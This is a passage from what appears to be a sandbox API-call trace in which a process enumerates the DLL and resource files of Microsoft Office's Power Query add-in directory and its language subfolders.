nFileSizeLow=0x2c068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Data.OData.Query.NetFX35.dll", cAlternateFileName="MI8F9F~1.DLL")) returned 1 [0279.047] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfe368d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xfe368d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1698075, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x112040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Exchange.WebServices.dll", cAlternateFileName="MIE0C3~1.DLL")) returned 1 [0279.047] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x670f8d9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x217840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.dll", cAlternateFileName="MI0E0A~1.DLL")) returned 1 [0279.048] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf45f9db0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf45f9db0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.EditorRibbon.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.048] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4d20ecd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4d20ecd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Initialization.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.048] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7bc5054, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7bc5054, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7bc5054, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x14840, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Models.dll", cAlternateFileName="MIC507~1.DLL")) returned 1 [0279.048] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfcfa9f2d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfcfa9f2d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x23a5040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.dll", cAlternateFileName="MI7BEA~1.DLL")) returned 1 [0279.048] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xa8619f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xa8619f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb91216, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x48d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Container.exe", cAlternateFileName="MICROS~2.EXE")) returned 1 [0279.048] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x92201bc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5070, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Container.NetFX40.exe", cAlternateFileName="MICROS~3.EXE")) returned 1 [0279.049] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d76e38, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d76e38, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6de953e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Container.NetFX45.exe", cAlternateFileName="MICROS~1.EXE")) returned 1 [0279.049] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7b9ee02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7b9ee02, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b9ee02, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e0ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.dll", cAlternateFileName="MI8E0B~1.DLL")) returned 1 [0279.049] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6bd443f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6bd443f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bd443f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc2040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.XmlSerializers.dll", cAlternateFileName="MI7AD6~1.DLL")) returned 1 [0279.049] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b87f8e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b87f8e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6bae279, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.OAuth.dll", cAlternateFileName="MIADE9~1.DLL")) returned 1 [0279.049] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4704e3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4704e3d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.OleDbInterop.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.049] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd42039, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd42039, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x13240, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.OleDbProvider.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.049] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6ea9118, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6ea9118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x7642a1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x23f640, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.ScriptDom.dll", cAlternateFileName="MIC995~1.DLL")) returned 1 [0279.049] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbda21cf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbda21cf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbdc8437, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x20aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Storage.XmlSerializers.dll", cAlternateFileName="MID814~1.DLL")) returned 1 [0279.049] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3760836, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3760836, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x481440, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.dll", cAlternateFileName="MIE629~1.DLL")) returned 1 [0279.049] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x73ee48, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x73ee48, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x73ee48, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14dac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OData.Core.NetFX35.dll", cAlternateFileName="MIDAD6~1.DLL")) returned 1 [0279.049] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x48f5cfa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x48f5cfa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x48f5cfa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xb8058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.OData.Edm.NetFX35.dll", cAlternateFileName="MIF00B~1.DLL")) returned 1 [0279.050] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17b058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Excel.dll", cAlternateFileName="MIDE30~1.DLL")) returned 1 [0279.050] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xedac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.Outlook.dll", cAlternateFileName="MIDB50~1.DLL")) returned 1 [0279.050] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1e4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Spatial.NetFX35.dll", cAlternateFileName="MI069E~1.DLL")) returned 1 [0279.050] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf5afc9d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf5afc9d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5e43de4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5a0a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.WindowsAzure.StorageClient.dll", cAlternateFileName="MI3285~1.DLL")) returned 1 [0279.050] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0279.050] GetProcessHeap () returned 0xaf0000 [0279.050] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0279.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ms\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0279.052] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.052] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a2a905, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a2a905, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.052] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.052] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbe60d8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbe60d8f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbe60d8f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x31040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.052] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd6924a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x88aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.052] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd6924a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x88aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0279.052] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0279.053] GetProcessHeap () returned 0xaf0000 [0279.053] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0279.053] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0279.053] GetProcessHeap () returned 0xaf0000 [0279.053] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36b6278 [0279.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\nl\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0279.055] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.055] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc0c33db, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc0c33db, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0279.055] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x27040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0279.055] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x31aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0279.055] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0822be8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0822be8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0279.055] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0822be8, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0822be8, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0822be8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8daa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0279.055] FindClose (in: hFindFile=0xb03148 | out: hFindFile=0xb03148) returned 1 [0279.233] GetProcessHeap () returned 0xaf0000 [0279.233] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36b6278 | out: hHeap=0xaf0000) returned 1 [0279.234] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0279.235] GetProcessHeap () returned 0xaf0000 [0279.235] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0279.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\no\\*", lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0279.237] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4409f1c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8680a1e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8680a1e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.237] FindNextFileW (in: hFindFile=0xb02ec8, lpFindFileData=0x2fce748 | out: lpFindFileData=0x2fce748*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45f9db0, ftCreationTime.dwHighDateTime=0x1d327e7, 